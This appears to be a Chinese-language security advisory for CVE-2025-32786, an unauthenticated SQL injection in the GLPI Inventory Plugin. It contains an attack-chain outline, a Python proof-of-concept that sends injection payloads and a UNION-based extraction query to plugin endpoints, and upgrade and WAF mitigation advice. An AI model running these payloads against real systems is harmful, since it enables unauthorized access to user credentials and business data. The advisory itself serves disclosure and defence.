IPBUF安全漏洞报告
English
CVE-2025-32786 CVSS 7.5 高危

CVE-2025-32786 GLPI Inventory Plugin SQL注入漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-32786
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GLPI Inventory Plugin

相关标签

SQL注入GLPI Inventory PluginCVE-2025-32786高危漏洞无需认证网络攻击

漏洞概述

GLPI Inventory Plugin是一款用于GLPI系统的网络发现、资产清点、软件部署和数据收集的插件。该插件在1.5.0及以下版本中存在SQL注入漏洞,攻击者无需认证即可利用此漏洞获取数据库中的敏感信息,包括用户凭证、配置数据、业务数据等。由于该插件通常部署在企业内部网络环境中,漏洞可导致严重的内网横向移动风险。CVSS评分7.5分,属于高危漏洞,建议立即升级至1.5.1版本。

技术细节

该SQL注入漏洞存在于GLPI Inventory Plugin的网络发现和资产清点功能模块中。攻击者可通过构造恶意的HTTP请求,在插件处理网络设备响应数据的参数中注入SQL语句。由于插件在处理用户输入时未进行充分的参数化查询或输入过滤,攻击者可以利用UNION SELECT、布尔盲注或时间盲注等技术获取数据库中的敏感信息。攻击向量为网络可访问,无需认证和用户交互,机密性影响为高。该漏洞影响所有使用该插件进行资产管理的GLPI实例,攻击成功可导致企业IT资产信息泄露。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标环境中运行的GLPI Inventory Plugin版本,确认版本号<=1.5.0
STEP 2
步骤2:构造恶意请求
攻击者构造包含SQL注入payload的HTTP请求,针对插件的网络发现或资产清点接口
STEP 3
步骤3:注入执行
恶意payload通过插件输入验证,被拼接到SQL查询语句中执行
STEP 4
步骤4:数据提取
攻击者利用UNION注入或盲注技术从数据库中提取敏感信息,如用户凭证、配置数据等
STEP 5
步骤5:权限提升与横向移动
获取的数据库凭据可用于登录GLPI管理后台,进一步控制整个IT资产管理系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-32786 SQL Injection PoC # Target: GLPI Inventory Plugin <= 1.5.0 # Author: Security Researcher # Note: This is a proof-of-concept for authorized security testing only import requests import sys def test_sql_injection(url, target_param): """ Test for SQL injection vulnerability in GLPI Inventory Plugin """ # Basic injection test payload payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "'; SELECT * FROM glpi_users--" ] headers = { 'User-Agent': 'GLPI-Inventory-Agent/1.0', 'Content-Type': 'application/x-www-form-urlencoded' } for payload in payloads: try: data = { target_param: payload, 'action': 'inventory' } response = requests.post( f"{url}/plugins/glpiinventory/front/inventory.php", data=data, headers=headers, timeout=10 ) # Check for SQL error indicators sql_errors = [ 'SQL syntax', 'MySQL server version', 'Warning: mysql', 'PDOException', 'SQLSTATE' ] for error in sql_errors: if error in response.text: print(f"[+] SQL Injection detected with payload: {payload}") print(f"[+] Error found: {error}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(url): """ Extract data using UNION-based injection (if vulnerable) """ # Example: Extract database version and current user union_payload = "' UNION SELECT @@version,user(),3,4,5--" headers = { 'User-Agent': 'GLPI-Inventory-Agent/1.0' } data = { 'ip': union_payload, 'action': 'discover' } try: response = requests.post( f"{url}/plugins/glpiinventory/front/discovery.php", data=data, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-32786.py <target_url>") print("Example: python cve-2025-32786.py http://vulnerable-glpi.local") sys.exit(1) target_url = sys.argv[1] print(f"[*] Testing CVE-2025-32786 on {target_url}") if test_sql_injection(target_url, 'ip'): print("[!] Target is likely vulnerable!") print("[*] Attempting data extraction...") extract_data(target_url) else: print("[-] No obvious SQL injection detected")

影响范围

GLPI Inventory Plugin <= 1.5.0

防御指南

临时缓解措施
立即将GLPI Inventory Plugin升级至1.5.1版本。如果暂时无法升级,可在Web应用防火墙(WAF)中配置SQL注入防护规则,拦截包含可疑SQL关键字(如UNION、SELECT、INSERT等)的请求。同时建议审查数据库访问权限,确保插件使用的数据库账户仅具有最小必要权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表